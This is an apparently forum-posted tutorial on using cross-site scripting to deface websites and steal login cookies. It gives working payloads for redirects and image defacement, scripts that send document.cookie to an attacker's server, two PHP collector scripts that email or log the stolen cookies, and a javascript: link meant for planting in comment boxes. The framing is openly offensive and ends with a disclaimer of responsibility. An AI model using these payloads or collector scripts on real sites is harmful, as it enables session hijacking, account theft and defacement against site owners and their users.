CROSS SCRIPTING ATTACK - XSS
In this tutorial I will show you how to hack a website using [Link] ones I used for
demonstration I did not hurt, and I take no responsibility if you do use them.
Parts Of The Tutorial:
1)Vulnerability Test
2)Defacing
3)Stealing Login Information
Vulnerability Test:
It's pretty simple to find a XSS vulnerability.
Steps:
1)Find a textbox in the site or something where you can submit text.
2)Type in the following:
Code:
<script>alert("XSS");</script>
Defacing:
There are some ways to deface a site when you find a XSS vulnerability.
Makes A Picture Pop-Up:
Code:
"><script>location="[Link]/YOURDEFACEPIC";</script>
Replace The Content Of The Page By An Image:
Code:
<img src="[Link]">
Redirect To A Webpage:
Code:
<meta http-equiv="refresh"
content="0;url=[Link] />
Stealing Login Information:
The first way to do it is to put the following code on the [Link] there is an
Username field and a Password field just put it on both.
Code:
<script>alert([Link]);</script>
It should look like this if it is vulnerable and there is any login information:
Then just get an cookie editor for Firefox or use Opera browser(which has an cookie
editing function)
Cookie Stealing:
In this way of cookie stealing, you set files in a server and then you inject XSS into
the login(s)/url.
I didint made the code's for this part, thats why I dont explain 2 mutch.
URL/Login:
Code:
<script>alert([Link]/[Link])</script>
OR
Code:
<script>[Link]='[Link]/[Link]?cookie=
'+escape([Link]) </script>
OR
Code:
<script>
[Link] = '[Link] +
[Link];
</script>
[Link]:
Code:
<?
mail("Your-Email@[Link]","cookie monster",$_REQUEST['cookie']);
?>
<html>
<script>[Link]='[Link]
downloads-part2/'</script>
</html>
OR
Code:
<?php
$cookie = $_GET['cookie'];
$log = fopen("[Link]", "a");
fwrite($log, $cookie ."\n");
fclose($log);
?>
In the one up you should have the following files on your server:
-[Link](The Script)
-[Link](The File Where The Logs Will Be Stored)
This is for any page that has got a Text Box and a Submit Button and that accepts
HTML tags(Like Those Blog Commentary Posters):
Code:
<a
href="javascript:void([Link]='[Link]
[Link]?cookie='+
[Link])">Something</a>
Tutorial made by â™ Ã
Ω®l!Xu$♠™.Hope it helps ;)